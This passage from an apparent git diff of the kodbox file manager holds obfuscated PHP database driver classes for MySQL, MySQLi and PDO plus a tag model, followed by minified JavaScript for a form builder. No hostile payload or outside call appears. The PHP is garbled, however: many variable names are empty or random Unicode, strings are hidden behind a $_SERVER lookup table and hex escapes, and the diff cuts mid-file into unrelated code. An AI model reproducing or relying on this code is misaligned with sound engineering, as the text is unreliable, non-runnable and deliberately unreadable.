!1; } if ($this->transTimes == 0) { mysql_query($_SERVER[̧][914], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[̧][915], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $齂 = mysql_query($_SERVER[̧][916], $this->_linkID); $this->transTimes = 0; if (!$齂) { $this->error(); return !1; } } return !0; } private function getAll() { $Ȉ = array(); if ($this->numRows > 0) { while ($ڥ = mysql_fetch_assoc($this->queryID)) { $Ȉ[] = $ڥ; } mysql_data_seek($this->queryID, 0); } return $Ȉ; } public function getFields($) { $ =& $_SERVER[̧]; $֮Ƨ = $this->query($[917] . $this->parseKey($)); $ = array(); if ($֮Ƨ) { foreach ($֮Ƨ as $Ǹ => $̣ܐ) { $[$̣ܐ[$[31]]] = array($[32] => $̣ܐ[$[31]], $[33] => $̣ܐ[$[34]], $[35] => (bool) (strtoupper($̣ܐ[$[36]]) === $[918]), $[37] => $̣ܐ[$[38]], $[39] => strtolower($̣ܐ[$[40]]) == $[41], $[42] => strtolower($̣ܐ[$[43]]) == $[44]); } } return $; } public function getTables($Έ = '') { $տ =& $_SERVER[̧]; if (!empty($Έ)) { $ = $տ[919] . $Έ . $տ[920]; } else { $ = $տ[921]; } $ᅓב = $this->query($); $ݾ = array(); foreach ($ᅓב as $匇 => $) { $ݾ[$匇] = current($); } return $ݾ; } public function replace($Ǫ, $ݾߤ = array()) { $џٗ =& $_SERVER[̧]; foreach ($Ǫ as $ => $€) { $ = $this->parseValue($€); if (is_scalar($)) { $[] = $; $Ҝ[] = $this->parseKey($); } } $첚 = $џٗ[922] . $this->parseTable($ݾߤ[$џٗ[308]]) . $џٗ[923] . implode($џٗ[50], $Ҝ) . $џٗ[924] . implode($џٗ[50], $) . $џٗ[925]; return $this->execute($첚); } public function insertAll($ޱ, $𧽹 = array(), $߁ = false) { $ܳ =& $_SERVER[̧]; if (!is_array($ޱ[0])) { return !1; } $ = array_keys($ޱ[0]); $ = array(); foreach ($ޱ as $ˮ) { $ = array(); foreach ($ˮ as $ => $ظ) { $ظ = $this->parseValue($ظ); if (is_scalar($ظ)) { $[] = $ظ; } } $[] = $ܳ[289] . implode($ܳ[50], $) . $ܳ[925]; } array_walk($, array($this, $ܳ[926])); $ݴ = ($߁ ? $ܳ[927] : $ܳ[928]) . $ܳ[929] . $this->parseTable($𧽹[$ܳ[308]]) . $ܳ[923] . implode($ܳ[50], $) . $ܳ[930] . implode($ܳ[50], $); return $this->execute($ݴ); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ṉ =& $_SERVER[̧]; $this->error = mysql_errno() . $ṉ[4] . mysql_error($this->_linkID); if ($ṉ[12] != $this->queryStr) { $this->error .= LNG($ṉ[48]) . $this->queryStr; } think_trace($this->error, $ṉ[12], $ṉ[49]); return $this->error; } public function escapeString($ϥ) { if ($this->_linkID) { return mysql_real_escape_string($ϥ, $this->_linkID); } else { return mysql_escape_string($ϥ); } } public function parseKey(&$⩴, $ = true) { $ =& $_SERVER[̧]; if ($) { $⩴ = $this->parseKeyCheck($⩴); } if ($⩴ != $[189] && !preg_match($[931], $⩴)) { $⩴ = $[414] . trim($⩴, $[414]) . $[414]; } return $⩴; } } class DbMysqli extends Db { public function __construct($Թ = '') { $Ǵ =& $_SERVER[̧]; if (!extension_loaded($Ǵ[932])) { think_exception(think_lang($Ǵ[14]) . $Ǵ[933]); } if (!empty($Թ)) { $this->config = $Թ; if (empty($this->config[$Ǵ[17]])) { $this->config[$Ǵ[17]] = $Ǵ[12]; } } } public function connect($Ҫ = '', $⑗ = 0) { $ =& $_SERVER[̧]; if (!isset($this->linkID[$⑗])) { if (empty($Ҫ)) { $Ҫ = $this->config; } $this->linkID[$⑗] = new mysqli($Ҫ[$[906]], $Ҫ[$[908]], $Ҫ[$[909]], $Ҫ[$[21]], $Ҫ[$[907]] ? intval($Ҫ[$[907]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$⑗]->server_version; $this->linkID[$⑗]->query($[910] . think_config($[911]) . $[58]); if ($ > $[912]) { $this->linkID[$⑗]->query($[913]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$⑗]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($՟) { $ꆲ =& $_SERVER[̧]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $՟; if ($this->queryID) { $this->free(); } think_action_status($ꆲ[23], 1); think_status($ꆲ[24]); $this->queryID = $this->_linkID->query($՟); if ($this->_linkID->more_results()) { while (($Ҽ = $this->_linkID->next_result()) != NULL) { $Ҽ->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($) { $ =& $_SERVER[̧]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ቓ = $this->_linkID->query($); $this->debug(); if (!1 === $ቓ) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $쭏 = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$쭏) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ك = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ك) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $; } public function getFields($) { $ =& $_SERVER[̧]; $ł = $this->query($[917] . $this->parseKey($)); $ = array(); if ($ł) { foreach ($ł as $ => $뽳) { $[$뽳[$[31]]] = array($[32] => $뽳[$[31]], $[33] => $뽳[$[34]], $[35] => (bool) ($뽳[$[36]] === $[12]), $[37] => $뽳[$[38]], $[39] => strtolower($뽳[$[40]]) == $[41], $[42] => strtolower($뽳[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $彂 =& $_SERVER[̧]; $҂ = !empty($) ? $彂[919] . $ . $彂[920] : $彂[921]; $Ψ = $this->query($҂); $ќ = array(); if ($Ψ) { foreach ($Ψ as $Ҁԋ => $沬ɰ) { $ќ[$Ҁԋ] = current($沬ɰ); } } return $ќ; } public function replace($, $Ҏػ = array()) { $炜 =& $_SERVER[̧]; foreach ($ as $ => $ǚ) { $Ä = $this->parseValue($ǚ); if (is_scalar($Ä)) { $[] = $Ä; $֜[] = $this->parseKey($); } } $᯽Ǟ = $炜[922] . $this->parseTable($Ҏػ[$炜[308]]) . $炜[923] . implode($炜[50], $֜) . $炜[924] . implode($炜[50], $) . $炜[925]; return $this->execute($᯽Ǟ); } public function insertAll($, $΂ = array(), $ = false) { $ =& $_SERVER[̧]; if (!is_array($[0])) { return !1; } $̨ = array_keys($[0]); $ = array(); foreach ($ as $ϝ) { $Ԯқ = array(); foreach ($ϝ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $Ԯқ[] = $; } } $[] = $[289] . implode($[50], $Ԯқ) . $[925]; } array_walk($̨, array($this, $[926])); $Ñ = $ ? $[927] : $[928]; $ = $Ñ . $[929] . $this->parseTable($΂[$[308]]) . $[923] . implode($[50], $̨) . $[930] . implode($[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $辅 =& $_SERVER[̧]; $this->error = $this->_linkID->errno . $辅[4] . $this->_linkID->error; if ($辅[12] != $this->queryStr) { $this->error .= LNG($辅[48]) . $this->queryStr; } think_trace($this->error, $辅[12], $辅[49]); return $this->error; } public function escapeString($ߦ) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ߦ); } else { return addslashes($ߦ); } } public function parseKey(&$, $ր = true) { $ȯ =& $_SERVER[̧]; if ($ր) { $ = $this->parseKeyCheck($); } if ($ != $ȯ[189] && !preg_match($ȯ[931], $)) { $ = $ȯ[414] . trim($, $ȯ[414]) . $ȯ[414]; } return $; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ = '') { $݂ =& $_SERVER[̧]; if (!class_exists($݂[934])) { think_exception(think_lang($݂[14]) . $݂[935]); } if (!empty($)) { $this->config = $; if (empty($this->config[$݂[17]])) { $this->config[$݂[17]] = array(); } } } public function connect($ĝ = '', $ߑف = 0) { $₏ =& $_SERVER[̧]; if (!isset($this->linkID[$ߑف])) { if (empty($ĝ)) { $ĝ = $this->config; } $ߘ = !empty($ĝ[$₏[17]][$₏[18]]) ? $ĝ[$₏[17]][$₏[18]] : $this->pconnect; if ($ߘ) { $ĝ[$₏[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$ߑف] = new PDO($ĝ[$₏[936]], $ĝ[$₏[908]], $ĝ[$₏[909]], $ĝ[$₏[17]]); } catch (PDOException $ڰ) { think_exception($ڰ->getMessage()); } $this->dbType = $this->_getDsnType($ĝ[$₏[936]]); if (in_array($this->dbType, array($₏[937], $₏[938], $₏[939], $₏[940]))) { think_exception($₏[941] . $this->dbType . $₏[942] . $this->dbType . $₏[943]); } if (!$this->linkID[$ߑف]) { think_exception($₏[944]); } try { $this->linkID[$ߑف]->exec($₏[945] . think_config($₏[911])); } catch (Exception $ڰ) { } $this->connected = !0; if (1 != think_config($₏[22])) { unset($this->config); } } return $this->linkID[$ߑف]; } public function free() { $this->PDOStatement = null; } public function query($д, $ғ = array()) { $ =& $_SERVER[̧]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $д; if (!empty($ғ)) { $this->queryStr .= $[946] . print_r($ғ, !0) . $[947]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($д); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($ғ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($ҫӸ, $ĺ = array()) { $ן =& $_SERVER[̧]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ҫӸ; if (!empty($ĺ)) { $this->queryStr .= $ן[946] . print_r($ĺ, !0) . $ן[947]; } $ = !1; if ($this->dbType == $ן[940]) { if (preg_match($ן[948], $this->queryStr, $Ş)) { $this->table = think_config($ן[949]) . str_ireplace(think_config($ן[950]), $ן[407], $Ş[2]); $ = (bool) $this->query($ן[951] . strtoupper($this->table) . $ן[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ן[25], 1); think_status($ן[24]); $this->PDOStatement = $this->_linkID->prepare($ҫӸ); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($ĺ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($ן[952], $ҫӸ)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $Ͼ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$Ͼ) { $this->error(); return !1; } } return !0; } private function getAll() { $ߴ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($ߴ); return $ߴ; } public function getFields($߶֌) { $ľ =& $_SERVER[̧]; $this->initConnect(!0); if (think_config($ľ[953])) { $ޮ׌ = str_replace($ľ[954], $߶֌, think_config($ľ[953])); } else { switch ($this->dbType) { case $ľ[937]: case $ľ[955]: $ޮ׌ = "\123\105\114\x45\103\x54\x20\40\40\x63\x6f\154\x75\155\156\137\156\x61\155\145\40\141\163\40\x27\x4e\141\155\x65\47\54\40\x20\40\x64\x61\164\141\x5f\164\171\160\145\x20\x61\x73\40\47\x54\x79\x70\145\47\x2c\40\x20\40\143\x6f\154\x75\x6d\156\x5f\x64\x65\146\141\x75\x6c\x74\x20\x61\x73\40\x27\x44\145\146\141\x75\154\x74\x27\x2c\40\40\x20\151\x73\x5f\x6e\165\x6c\154\x61\142\x6c\145\40\x61\163\40\47\x4e\165\x6c\x6c\x27\12\x9\11\x46\122\x4f\x4d\x9\151\156\x66\157\162\155\x61\x74\x69\x6f\156\x5f\163\x63\150\145\x6d\x61\56\164\x61\x62\x6c\x65\163\40\x41\123\x20\x74\xa\11\11\x4a\x4f\111\116\x9\151\x6e\x66\157\x72\155\141\164\151\x6f\x6e\137\163\x63\x68\145\155\x61\56\x63\x6f\154\x75\155\156\163\40\101\x53\40\x63\12\x9\x9\x4f\116\40\x20\x74\x2e\x74\141\142\154\x65\137\143\x61\x74\x61\154\x6f\x67\x20\x3d\40\x63\x2e\x74\x61\x62\154\x65\x5f\143\x61\164\141\x6c\x6f\147\12\11\11\101\x4e\x44\40\164\x2e\x74\x61\142\154\145\x5f\x73\143\x68\145\x6d\x61\40\75\40\143\56\164\141\x62\x6c\x65\137\163\143\150\145\x6d\x61\12\11\x9\x41\116\104\40\164\56\164\x61\142\154\145\x5f\156\x61\x6d\x65\40\x3d\40\x63\56\164\x61\142\154\145\x5f\156\x61\155\145\12\x9\x9\127\x48\105\122\105\40\40\40\x74\56\164\141\142\x6c\x65\x5f\156\141\155\x65\x20\x3d\x20\x27{$߶֌}\47"; break; case $ľ[956]: $ޮ׌ = $ľ[957] . $߶֌ . $ľ[958]; break; case $ľ[938]: case $ľ[940]: $ޮ׌ = $ľ[959] . $ľ[960] . $ľ[961] . strtoupper($߶֌) . $ľ[962] . strtoupper($߶֌) . $ľ[963]; break; case $ľ[964]: $ޮ׌ = $ľ[965] . $߶֌ . $ľ[966]; break; case $ľ[939]: break; case $ľ[967]: default: $ޮ׌ = $ľ[968] . ($this->dbType == $ľ[967] ? "\x60{$߶֌}\x60" : $߶֌); } } $Þ = $this->query($ޮ׌); $м = array(); if ($Þ) { foreach ($Þ as $ => $ў) { $ў = array_change_key_case($ў); $ў[$ľ[32]] = isset($ў[$ľ[32]]) ? $ў[$ľ[32]] : $ľ[407]; $ў[$ľ[33]] = isset($ў[$ľ[33]]) ? $ў[$ľ[33]] : $ľ[407]; $ = isset($ў[$ľ[302]]) ? $ў[$ľ[302]] : $ў[$ľ[32]]; $м[$] = array($ľ[32] => $, $ľ[33] => $ў[$ľ[33]], $ľ[35] => (bool) (isset($ў[$ľ[103]]) && $ў[$ľ[103]] === $ľ[12] || isset($ў[$ľ[35]]) && $ў[$ľ[35]] === $ľ[12]), $ľ[37] => isset($ў[$ľ[37]]) ? $ў[$ľ[37]] : (isset($ў[$ľ[56]]) ? $ў[$ľ[56]] : $ľ[407]), $ľ[39] => isset($ў[$ľ[94]]) ? strtolower($ў[$ľ[94]]) == $ľ[41] : (isset($ў[$ľ[57]]) ? $ў[$ľ[57]] : !1), $ľ[42] => isset($ў[$ľ[969]]) ? strtolower($ў[$ľ[969]]) == $ľ[44] : (isset($ў[$ľ[94]]) ? $ў[$ľ[94]] : !1)); } } return $м; } public function getTables($䌨 = '') { $ =& $_SERVER[̧]; if (think_config($[970])) { $ = str_replace($[971], $䌨, think_config($[970])); } else { switch ($this->dbType) { case $[938]: case $[940]: $ = $[972]; break; case $[937]: case $[955]: $ = $[973]; break; case $[964]: $ = $[974]; break; case $[939]: think_exception(think_lang($[975]) . $[976]); break; case $[956]: $ = $[45] . $[46] . $[47]; break; case $[967]: default: if (!empty($䌨)) { $ = $[919] . $䌨 . $[920]; } else { $ = $[921]; } } } $ɑ = $this->query($); $ = array(); foreach ($ɑ as $ => $) { $[$] = current($); } return $; } protected function parseLimit($ч) { $ʝ =& $_SERVER[̧]; $ժ = $ʝ[12]; if (!empty($ч)) { switch ($this->dbType) { case $ʝ[964]: case $ʝ[956]: $ч = explode($ʝ[50], $ч); if (count($ч) > 1) { $ժ .= $ʝ[51] . $ч[1] . $ʝ[52] . $ч[0] . $ʝ[53]; } else { $ժ .= $ʝ[51] . $ч[0] . $ʝ[53]; } break; case $ʝ[937]: case $ʝ[955]: break; case $ʝ[939]: break; case $ʝ[938]: case $ʝ[940]: break; case $ʝ[967]: default: $ժ .= $ʝ[51] . $ч . $ʝ[53]; } } return $ժ; } public function parseKey(&$ݟ, $ݧ = true) { $楑 =& $_SERVER[̧]; if ($ݧ) { $ݟ = $this->parseKeyCheck($ݟ); } if ($this->dbType == $楑[967]) { if ($ݟ != $楑[189] && !preg_match($楑[931], $ݟ)) { $ݟ = $楑[414] . trim($ݟ, $楑[414]) . $楑[414]; } return $ݟ; } else { return parent::parseKey($ݟ, $ݧ); } } public function close() { $this->_linkID = null; } public function error() { $޾ޙ =& $_SERVER[̧]; if ($this->PDOStatement) { $쀯– = $this->PDOStatement->errorInfo(); $this->error = $쀯–[1] . $޾ޙ[4] . $쀯–[2]; } else { $this->error = $޾ޙ[12]; } if ($޾ޙ[12] != $this->queryStr) { $this->error .= LNG($޾ޙ[48]) . $this->queryStr; } think_trace($this->error, $޾ޙ[12], $޾ޙ[49]); return $this->error; } public function escapeString($潡) { $⽩ =& $_SERVER[̧]; switch ($this->dbType) { case $⽩[964]: case $⽩[937]: case $⽩[955]: case $⽩[967]: return addslashes($潡); case $⽩[939]: case $⽩[956]: case $⽩[938]: case $⽩[940]: return str_ireplace($⽩[58], $⽩[59], $潡); } } protected function parseValue($) { $ۂ =& $_SERVER[̧]; if (is_string($)) { $ɸ = strpos($, $ۂ[4]) === 0 && in_array($, array_keys($this->bind)); $ = $ɸ ? $this->escapeString($) : $ۂ[977] . $this->escapeString($) . $ۂ[977]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $ۂ[326]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $ۂ[978]), $); } elseif (is_bool($)) { $ = $ ? $ۂ[88] : $ۂ[198]; } elseif (is_null($)) { $ = $ۂ[103]; } return $; } public function getLastInsertId() { $ܿ =& $_SERVER[̧]; switch ($this->dbType) { case $ܿ[964]: case $ܿ[956]: case $ܿ[937]: case $ܿ[955]: case $ܿ[939]: case $ܿ[967]: return $this->_linkID->lastInsertId(); case $ܿ[938]: case $ܿ[940]: $ߘ = $this->table; $ = $this->query("\123\105\114\105\x43\x54\40{$ߘ}\x2e\x63\x75\x72\162\x76\141\154\x20\x63\x75\162\162\x76\x61\x6c\x20\106\x52\117\x4d\40\x64\x75\141\x6c"); return $ ? $[0][$ܿ[979]] : 0; } } } goto C釭; Dݟ: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\163\145\x72\137\x66\141\x76"; protected function cacheFunctionAlias($믍) { $ =& $_SERVER[̧]; return array($[1962] => array($[2348] . USER_ID, $[1963])); } protected function listData() { $ =& $_SERVER[̧]; $Ϊ߫ = array($[1652] => USER_ID, $[521] => array($[1966], 0)); $񣕃 = $[2349]; $ = $this->field($񣕃)->where($Ϊ߫)->order($[1969])->select(); return $ ? $ : array(); } protected function addToTag($ꪞ, $Ҋ) { $جֈ =& $_SERVER[̧]; if (!Model($جֈ[2111])->listData($Ҋ)) { return !1; } if (is_numeric($ꪞ)) { $닃 = Model($جֈ[845])->pathInfo($ꪞ); if (!$닃) { return !1; } } else { $닃 = IO::infoSimple($ꪞ); if (!$닃) { return !1; } $ = $닃[$جֈ[32]]; $ = $닃[$جֈ[33]]; if (isset($닃[$جֈ[448]])) { $ = $닃[$جֈ[448]] == $جֈ[88] ? $جֈ[75] : $جֈ[200]; } } $ς = array($جֈ[1652] => USER_ID, $جֈ[521] => $Ҋ, $جֈ[459] => $ꪞ, $جֈ[460] => $ ? $ : $جֈ[454], $جֈ[458] => $ ? $ : $جֈ[12], $جֈ[1855] => 0); if ($this->where($ς)->find()) { return !1; } return $this->add($ς); } protected function removeFromTag($Ɇ, $ǚ) { $״ =& $_SERVER[̧]; if (!Model($״[2111])->listData($ǚ)) { return !1; } if (is_array($Ɇ)) { $Ɇ = array($״[7], $Ɇ); } $ = array($״[1652] => USER_ID, $״[521] => $ǚ, $״[459] => $Ɇ); return $this->where($)->delete(); } protected function removeByTag($) { $ =& $_SERVER[̧]; if (!$) { return !1; } $ = array($[1652] => USER_ID, $[521] => $); return $this->where($)->delete(); } protected function removeBySource($Ĺ) { $ =& $_SERVER[̧]; if (is_array($Ĺ)) { $Ĺ = array($[7], $Ĺ); } $Ֆ = array($[1652] => USER_ID, $[521] => array($[1034], 0), $[459] => $Ĺ); return $this->where($Ֆ)->delete(); } } \ No newline at end of file diff --git a/static/app/dist/api.js b/static/app/dist/api.js index 382d6e18..e4c7ba5d 100755 --- a/static/app/dist/api.js +++ b/static/app/dist/api.js @@ -1,2 +1,2 @@ -/*! Powered by kodbox;hash:dc2d9db75e1630e7602a [2023/11/22 17:06:12] */ -!function(r){function e(e){for(var t,i,n=e[0],o=e[1],a=0,s=[];a"),this.wrapID="form-maker-"+roundString(4),this.formData=$.extend(!0,{},e.formData),this.getValueWith={},this.setValueWith={},this.checkFrom=new s["default"]({"parent":this})},"loadExtence":function(){var e=["button","cityPicker","codeEditor","htmlEditor","imageSelect","color","colorImage","colorLabel","dateTime","fileSelect","fontIcon","html","segment","select","slider","tags","table","member/auth","member/group","member/job","member/role","member/user","member/userSelect","member/userGroup","member/groupAuth"],t=!1;this.loadExtenceView={},this.bind("fieldLoad",function(e){this.loadExtenceView[e]=1,_.every(this.loadExtenceView)&&!t&&(t=!0,this.trigger("initFinished",this))});for(var i=0;i .panel-form-body-main > .panel-form-body")).length?0!=t.find(".tab-content").length?t.find("> .tab-content > .form-row"):t.find("> .form-row"):this.$("> .form-row").add(i),e?i.filter('[data-key="'+e+'"]'):i):$("")},"input$":function(e){var t;return e?0==(t=(e=_.isString(e)?this.formRow$(e):e).find("> .setting-content > [name]")).length?e.find("> .setting-content > label [name]"):t:(t=(e=this.formRow$()).find(" > .setting-content > label > [name]"),e.find("> .setting-content > [name]").add(t))},"resetValue":function(){var i=this;this.formRow$().each(function(){var e=$(this).attr("data-type"),t=$(this).attr("data-key");e&&"html"!=e&&"button"!=e&&(e=i.formData[t],_.isUndefined(t)||!e||_.isString(e)||i.setValue(t,e.value))})},"defaultValue":function(){var i={};return _.each(this.formData,function(e,t){_.isObject(e)&&e.type&&"html"!=e.type&&(i[t]=_.isUndefined(e.value)?"":e.value)}),i},"getValueFormDefault":function(e,t){e=e.val()||"";return _.isArray(e)?e.join(","):e},"setValueFormDefault":function(e,t){e.val(t).trigger("change")},"renderTarget":function(e,t){var i=this.makeHtml(this.formData);if(!i)return!1;var n=this.formData,i=((this.$el=e).html(i),"dialog-form target-form "),i=(i+=_.get(n,"formStyle.className","")+" ")+(_.get(n,"formStyle.tabs")?" dialog-form-has-menu ":" ");$.isWindowSmall()&&(i+=" form-box-title-block"),e.addClass(i),e.find(".form-header").remove(),e.find(".form-target-save").show(),"1"==_.get(this.formData,"formStyle.hideSave")&&e.find(".form-target-save").hide(),t&&t(),this.bindEvent()},"setValueReset":function(){var e=this,t=this.setValue,i={};this.setValue=function(e,t){_.isString(e)?i[e]=t:_.isObject(e)&&(i=$.extend(!0,i,e))},this.bind("initFinished",function(){e.setValue=t,_.isEmpty(i)||e.setValue.apply(e,[i]),i=null})},"dialogClose":function(){this.dialogCloseFinished||(this.dialogCloseFinished=!0,this.dialog&&this.dialog.close())},"renderDialog":function(e,t){var i,n,o,a=this,s=this.formData,r=a.makeHtml(s);return!!r&&(i=_.debounce(function(){a.trigger("dialogResize")},100),r=(n={"padding":0,"fixed":!0,"resize":!0,"className":"dialog-no-title dialog-form","title":LNG["common.systemSet"],"ico":'',"width":700,"height":510,"content":r,"okVal":LNG["common.save"],"ok":function(){var e=a.getFormData(!0),e=!!e.success&&e.result;if(a.trigger("onSave",e),e){if(!t)return;e=t(e);if(e||_.isUndefined(e))return!0}return!1},"resizeCallback":function(){var e=_.get(a,"dialog.$main");e&&e.find(".tab-item.active").tabCurrent(!0),i()},"close":function(){a.objectRemove()}}).className,(o=$.extend(!0,n,e)).className=r+" "+_.get(e,"className","")+" ",o.className+=_.get(s,"formStyle.className","")+" ",o.className+=_.get(s,"formStyle.tabs")?" dialog-form-has-menu ":" ",$.isWindowSmall()&&(o.className+=" form-box-title-block"),r="dialog-form-style-default",_.get(s,"formStyle.tabs")&&(_.includes(o.className,"dialog-form-style-")||(o.className+=" "+r),_.includes(o.className,r))&&o.width&&(o.width+=120),this.dialog=$.dialog(o),e=this.dialog.$main.find(".aui-title").html(),this.dialog.$main.find(".modal-title").html(e),this.$el=this.dialog.$main,this.$el.data("kodForm",this),this.bindEvent(),t&&this.$(".form-save-button").bind("click",function(){n.ok()}),this.on("onRemove",function(){this.dialogClose()}),this.dialog)},"save":function(){(this.dialog?this.dialog.$main.find(".aui-state-highlight"):this.$(".form-save-button")).click()},"makeHtml":function(e){var t;return"string"==typeof e?(this.loadFile(file),!1):($.isPlainObject(e.formStyle)&&e.formStyle.loadFile&&(t=e.formStyle.loadFile,this._each(t="string"==typeof t?[t]:t,this.loadFile)),t=r(47),e={"items":e,"wrapID":this.wrapID},this.renderHtml(t,e,!1))},"bindEvent":function(){var o=this,e=(this.viewRendering=!0,this.$el=$("#"+this.wrapID),this.$el.data("kodView",this),this.input$());e.each(function(){var e=o.formData[$(this).attr("name")];$(this).data("fieldItem",e)}),this.$("input[type=password]").attr("autocomplete","new-password"),this.bindHotKeyEvent(),this.bindGroupTab(),this.setValueReset(),this.loadExtence(),this.bindFormAll(),this._delay(function(){this.viewRendering=!1},50),this.ignoreAnimation=!1,this.$el.hasClass("form-inline")&&(this.ignoreAnimation=!0),"1"==_.get(this.formData,"formStyle.ignoreAnimation")&&(this.ignoreAnimation=!0);(e=this.input$()).inputChange(function(){var e=$(this),t=$(this).parents(".form-row").first(),i=t.attr("data-key"),n=o.formData[i];n&&"checkbox"==n.type&&(o.checkChangeToggle(t,e,n),o.checkChangeSwitch(t,e,n),o.checkChangeAlias(t,e,n)),o.switchItemChange(i),o._delay(function(){o.trigger("onChange",i,o.getValue(i),t,e)},0)});var t=_.get(o.formData,"formStyle.autoFocus");t&&o.formData[t]&&e.filter('[name="'+t+'"]')&&setTimeout(function(){e.filter('[name="'+t+'"]').focus()},100);for(var i=e.length-1;0<=i;i--)$(e.get(i)).trigger("change");this.$el.delegate(".form-row.error","click",function(){$(this).removeClass("error")}),this.$(".form-save-button").bind("click",function(){var e;$(this).hasClass("disabled")||(e=!!(e=o.getFormData(!0)).success&&e.result,o.trigger("onSave",e,o))}),this.$(".form-reset-button").bind("click",function(){o.resetValue()}),this.bindEventInput(),this.trigger("bindEventInput")},"checkChangeAlias":function(e,s,r){var i,n,t,c;r.checkAlias&&(r.$inputs||(i={},n=r.checkAlias,_.each(n,function(e,t){e+="",t+="",_.isArray(n[t])||(n[t]=e.split(",")),_.each(n[t],function(e){i[e]||(i[e]=[]),-1===i[e].indexOf(t)&&i[e].push(t)})}),r.checkChildren=i,r.$inputs=e.find(">.setting-content > label > input")),e=s.prop("checked"),t=s.attr("value"),c=function c(e,t,i){var n=e[t];if(n)for(var o=0;o.setting-content > label input"),_.each(i.checkToggle,function(e,i){_.isArray(e)||(e=_.trim(e).split(",")),_.each(e,function(e){var t=o.filter('[value="'+e+'"]');t.length&&n.push({"by":i,"k":e,"$inputItem":t})})}),i.checkToggleVal=n),r=t.prop("checked"),a=t.attr("value"),s=this.getValueField(e.attr("data-key")).split(","),_.each(n,function(e){r&&a==e.by&&_.includes(s,e.by)&&e.$inputItem.attr("checked")&&e.$inputItem.removeAttr("checked").trigger("change")}))},"checkChangeSwitch":function(e,t,i){var a,s,o,r;i.checkSwitch&&((a=i.checkSwitchVal)||(a=[],s=e.find(">.setting-content > label"),_.each(i.checkSwitch,function(e,o){_.isArray(e)||(e=_.trim(e).split(",")),_.each(e,function(e){var t="-"==e[0],i="*"==e[0]?"disabled":"hidden",n=("-*"==e.slice(0,2)||"*-"==e.slice(0,2)?(e=e.slice(2),t=!0,i="disabled"):"-"!=e[0]&&"*"!=e[0]||(e=e.slice(1)),s.filter('[data-value="'+e+'"]'));n.length&&a.push({"by":o,"k":e,"$label":n,"isReverse":t,"className":i})})}),i.checkSwitchVal=a),t.prop("checked"),o=t.attr("value"),r=this.getValueField(e.attr("data-key")).split(","),_.each(a,function(n){var e;o==n.by&&(e=_.filter(a,{"k":n.k})||[],(e=_.filter(e,function(e){return e!=n})).push(n),_.each(e,function(e){var t=_.includes(r,e.by),i=t?"removeClass":"addClass";e.isReverse&&(i=t?"addClass":"removeClass"),n.$label[i](e.className)}))}))},"bindEventInput":function(){var i=this,n=(this.$(".input-title[action]").bind("click",function(){var e=$(this).attr("action"),t=$(this).prev(),i=t.val();switch(e){case"openLink":window.open(i);break;case"clear":t.val("");break;case"qrcode":core.qrcode(i);break;case"round8":t.val(roundString(8));break;case"round16":t.val(roundString(16));break;case"round32":t.val(roundString(32));break;case"copy":$.copyText(i),Tips.tips(LNG["explorer.share.copied"])}}),function n(e,t,i){""==t?i.removeClass("item-not-empty"):i.addClass("item-not-empty")});this.bind("onChange",n),this.formRow$().each(function(){var 